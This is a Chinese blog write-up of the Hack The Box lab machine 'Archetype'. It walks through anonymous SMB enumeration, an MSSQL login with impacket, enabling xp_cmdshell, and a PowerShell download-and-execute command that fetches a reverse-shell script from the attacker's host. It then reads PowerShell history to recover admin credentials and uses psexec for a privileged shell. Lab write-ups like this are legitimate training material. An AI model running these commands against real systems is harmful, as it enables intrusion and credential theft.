靶机-Archetype
端口扫描
其中 1433 是 SQL Server 数据库默认使用的端口,445 是著名的文件共享协议(SMB)默认使用的端口。这种文件共享大多应用于局域网环境,很多人认为局域网内是安全的,所以通常会共享一些密码、配置文件、敏感文件之类的供局域网用户使用,没有经过权限配置的文件共享可能默认允许所有人匿名访问共享资源(无需身份认证)
SMB 服务:smbclient 工具,payload:
smbclient -N -L 10.10.10.27/backups/

获取密码,这里要注意:
SQL Server 的身份验证方式有两种:操作系统身份验证和数据库身份验证,此处的参数值应该是操作系统身份验证方式,其前半部分 ARCHETYPE 是靶机的主机名,后半部分 sql_svc 是具有数据库登录权限的操作系统用户名
获取数据库 shell
首先下载impacket工具,使用其中的mssqlclient.py 
查看 mysql 的命令集合 
配置 mysql 语句enable_xp_cmdshell,xp_cmdshell执行系统命令
获取操作系统普通用户权限
靶机操作系统是 windows server 2008 r2,此版本默认安装有 powershell,可以从 powershell 入手。有很多利用 powershell 获得的反向 shell 的工具/脚本
powercat 工具安装,但是还不会。。。
反弹 shell 文件也写好了。。。配置了 ip 和端口 
本地搭建局域网python3 -m http.server 80
sql 服务器中访问搭建的局域网,然后下载并且运行out.ps1文件,
payload如下:
xp_cmdshell "powershell "IEX (New-Object
Net.WebClient).DownloadString(\"http://10.10.16.64:80/out.ps1\");"
但好像有问题,总是报错,不能访问到远程主机,哭了。。 主机 shell 得不到了呀。更别说提权了。难受,局域网本地访问也没问题呀,奇怪了。。
终于知道为什么不能下载,原来是防火墙的原因
sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443
反弹 shell 终于成功了,,,哈哈哈 😃
把端口改为 443,换了个新的反 shell 脚本.... 
读 flag 
提权
Notes: When getting into a windows machine, read the powershell history file is a MUST DO!
查看 powershell 的历史命令
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
得到如下 
这表明该 backups 驱动器已使用本地管理员凭据进行了映射。我们可以使用 Impacketpsexec.py 来获得特权 shell。 
读 flag cat 不能用,
more \users\administrator\Desktop\root.txt
本文来自博客园,作者:kzd的前沿思考,转载请注明原文链接:https://www.cnblogs.com/Fram3/p/15764239.html

浙公网安备 33010602011771号